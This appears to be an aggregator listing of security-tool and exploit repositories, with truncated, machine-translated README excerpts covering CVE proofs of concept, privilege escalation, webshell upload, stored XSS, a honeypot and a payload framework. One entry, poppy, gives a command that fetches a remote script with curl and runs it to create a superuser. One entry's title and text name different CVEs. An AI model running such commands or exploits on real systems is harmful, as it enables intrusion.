SharpShooter

/ // / / // / / / \ / / / / \ / / / / / / / / / / / / // / / / // // / / / / // / // / // / / /// //,// / ./// /////// // Описание SharpShooter — это фреймворк для создания полезных нагрузок, предназначенный для получения и выполнения произвольного CSharp-кода. SharpShooter способен...

CVE-2025-54309__Enhanced_exploit

CVE-2025-54309強化版エクスプロイト これは、watchtowrlabs が作成したエクスプロイトPOCの強化版です: https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309 （彼らに大きな称賛を!!） このエクスプロイトは研究および教育目的を意図しており、言及された脆弱性は既にCrushFTPによって修正されています。 このバージョンのエクスプロイトは、既存のユーザーの確認に加えて、CrushFTPインスタンスに管理者ユーザーを追加することができま...

Python-Honeypot

OWASP Honeypot OWASP Honeypot은 Python 언어로 작성된 오픈소스 소프트웨어로, 허니팟과 허니넷을 쉽고 안전하게 생성하도록 설계되었습니다! 이 프로젝트는 Python 3.x와 호환되며 Mac OS X 및 Linux에서 테스트되었습니다. 기여, 아이디어, 피드백을 환영합니다. 이슈를 생성하거나 [email protected]로 직접 이메일을 보내주시기 바랍니다. 자세한 내용은 Wiki 페이지를 방문해 주십시오. 더 읽어보기 :...

CVE-2025-56795

CVE-2025-56795 설명 Mealie의 레시피 생성 기능에서 두 개의 저장형 교차 사이트 스크립팅XSS 취약점이 발견되었습니다. 이는 버전 3.0.1 까지의 모든 버전에 영향을 미칩니다. 레시피 생성 시 제공된 무결성 검사가 되지 않은 사용자 입력이 저장되고, 이후 프론트엔드에서 적절한 이스케이프 없이 렌더링되어 지속형 XSS가 발생합니다. 영향을 받는 필드 새 레시피를 생성할 때 다음 필드가 취약합니다: 1. 재료 메모 note 매개변수: 이 필드에 입력된 값은 저장된 후 레시피 상세 보기에서 렌더링되어, 주입된...

DirCreate2System

DirCreate2System 특권 디렉터리 생성 버그와 Windows Error Reporting을 이용해 NT AUTHORITY\SYSTEM을 획득하는 무기화 간단한 설명: 저는 comctl32.dll시스템 디렉터리에 실제로 존재하지 않는 누락된 파일이 schtasks를 실행함으로써 Windows 오류 보고를 통해 wermgr.exe에 로드된다는 것을 발견했습니다. 즉, C:\windows\system32\wermgr.exe.local 폴더를 Full 권한 ACL로 생성할 수 있다면 해당 폴더에서 comctl32.dll 을...

SonLogger-vulns

CVE-2021-27964 | SonLogger - 認証なし任意ファイルアップロード Metasploit 日付: 30-01-2021 エクスプロイト作者: Berkan Er [email protected] ベンダーホームページ: https://www.sonlogger.com/ ソフトウェアリンク: https://www.sonlogger.com/download バージョン: 4.2.3.3 テスト済み: Windows 10 Enterprise x64 CVE: 2021-27964 公開日: 01-03-2021...

CVE-2026-15989

█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗ ██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝ ███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║ ██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║ ██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝...

CVE-2020-1283_Windows-Denial-of-Service-Vulnerability

CVE-2020-8103 익스플로잇 해당 분석 글은 RedyOps Labs 블로그에서 확인할 수 있습니다: https://labs.redyops.com/index.php/2020/04/27/dos-via-arbitrary-folder-creation/ 서드파티 도구 이 익스플로잇 코드는 James Forshaw이 개발한 symboliclink-testing-tools를 기반으로 합니다. symboliclink-testing-tools는 다음에서 찾을 수 있습니다:...

infernal-twin

Infernal-Wireless v3 Release 3 Improved and Compatibility on Kali Linux 2018 Added Visual Representation of Wireless Scan Added Visual Representation of Probe Requests and Map per SSID requested by Devices Updated MAC address mapping Added MAC address mappting on probe request devices Evil Twin...

ResponsiveFileManager-CVE-2022-46604

ResponsiveFileManager-CVE-2022-46604 Responsive FileManager v.9.9.5는 CVE-2022-46604 파일 생성 확장자 우회로 인한 RCE에 취약합니다. 현재 익스플로잇은 Python 3로 작성되었으며, 취약점을 이용하여 웹쉘을 업로드하여 취약한 호스트에서 원격으로 명령어를 실행할 수 있습니다. 참고 Exploit Database Exploit-DB: https://www.exploit-db.com/exploits/51251 Packet Storm Security:...

CVE-2019-16172

CVE-2019-16172 CVE-2019-16172 스캐너는 LimeSurvey 인스턴스에서 저장형 XSS 취약점을 확인하도록 설계되었습니다. CVE 설명 CVE-2019-16172 설명: CVE-2019-16172는 LimeSurvey 3.17 이전 버전에서 발견된 저장형 XSS 취약점입니다. 이 취약점은 설문 그룹 생성 시 사용자 입력에 대한 부적절한 검증으로 인해 발생합니다. 공격자는 특수하게 조작된 페이로드를 제출하여 이 취약점을 악용할 수 있으며, 해당 페이로드는 서버에 저장되고 설문에 접근하는 다른 사용자의 맥락에...

CVE-2025-56771

Описание В ходе анализа веб-сайта ecodotempo.com.br была обнаружена уязвимость сохранённого межсайтового скриптинга Stored XSS. Эта уязвимость позволяет злоумышленнику внедрять вредоносные скрипты в поля, которые впоследствии отображаются другим пользователям без надлежащей очистки, в частности н...

CVE-2025-46041

Anchor CMS v0.12.7 - 저장형 XSS CVE-2025-46041 Anchor CMS v0.12.7은 /admin/pages/add 인터페이스의 description 필드에서 저장형 크로스 사이트 스크립팅 XSS 취약점에 취약합니다. CVE ID CVE-2025-46041 요약 유형: 저장형 XSS 위치: 페이지 생성 인터페이스 /admin/pages/add 영향: 임의의 JavaScript 실행 인증 필요: 예 관리자 또는 편집자 사용자 영향 받는 버전: Anchor CMS v0.12.7 발견 당시 최신 안정 버...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC , polkit 0.131 사용법 Arch Linux Manjaro & Axyl OS에서 테스트됨 git clone https://github.com/tahaafarooq/poppy make ./poppy 슈퍼 유저 생성 익스플로잇 bash -c "$curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh" gcc -shared su.c -o suuser -Wl,-e,entr...

CVE-2023-20198

CVE-2023-20198 - PoC 스크립트 /!\ 면책 조항: 이 스크립트는 '있는 그대로' 제공되며 오직 교육 목적으로만 사용됩니다. 사용자는 주의를 기울이고 법적 및 윤리적 범위 내에서 사용할 것을 강력히 권장합니다. 설명 대상 웹 서버에서 로컬 사용자 계정 생성 및/또는 삭제, 웹 서버 재시작, 임플란트 설치 및 존재 여부 확인, 마지막으로 생성된 사용자 계정 정리 등 다양한 작업을 수행합니다. 요구 사항 Python 3.x Requests 라이브러리 pip install requests 사용법 python...

CVE-2018-19410-POC

CVE-2018-19410-POC CVE-2018-19410 취약점에 대한 개념 증명 세부 사항 PRTG Network Monitor 버전: 18.2.39.1661 및 이전 심각도: 높음 영향: 인증 우회, 부적절한 권한 부여, 로컬 파일 포함 접근 벡터: 원격 이 취약점은 원격의 인증되지 않은 공격자가 관리자 액세스를 포함한 읽기-쓰기 권한을 가진 사용자를 생성할 수 있게 합니다. 이는 /public/login.htm 파일에 있는 'include' 지시문 내의 속성을 조작하여 '/api/addusers' 파일을 포함 및...

CVE-2023-32315-Openfire-Bypass

CVE-2023-32315 0x01 반환된 JSESSIONID와 csrftoken 획득, 요청 패키지 구성하여 사용자 추가 JSESSIONID, csrftoken 대체 cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 플러그인 컴파일 및 설치 mvn clean package 또는 릴리즈에서 플러그인 다운로드 0x03 플러그인 업로드 0x04 webshel 획득 0x05 명령 실행...

NetMRI-2014-3418

NetMRI-CVE-2014-3418 - Metasploit 모듈 InfoBlox 네트워크 자동화 OS 명령 주입 Metasploit 모듈 제품: 네트워크 자동화 NetMRI Switch Port Manager Automation Change Manager Security Device Controller 벤더: InfoBlox 취약한 버전: 6.4.X.X-6.8.4.X 테스트된 버전: 6.8.2.11 CVE 참조: CVE-2014-3418 발견 및 제공: Nate Kettlewell, Depth Security...

flopz

Flopz - Освобождение прошивок на Python Flopz — это набор инструментов ассемблера, написанный на чистом Python. Используйте его для: Создания шеллкода для встраиваемых систем Динамического патча больших коллекций бинарных файлов Инструментирования образов прошивок для отладки и фаззинга В настоящ...

monitorr-exploit-toolkit

Monitorr 익스플로잇 툴킷 RCE — 안전하지 않은 파일 업로드를 통한 PHP 리버스 셸, 웹셸 등 관리자 계정 생성 — 인가 우회를 통한 기술 정보 유출 : Monitorr 버전, PHP 버전, 시스템 버전 및 커널, PHP 설정 등 CVE-2020-28872 및 CVE-2020-28871에 대한 익스플로잇. PacketStorm 사용법 $ ruby exploit.rb -h Monitorr-Exploit Usage: exploit.rb upload --debug exploit.rb create --debug...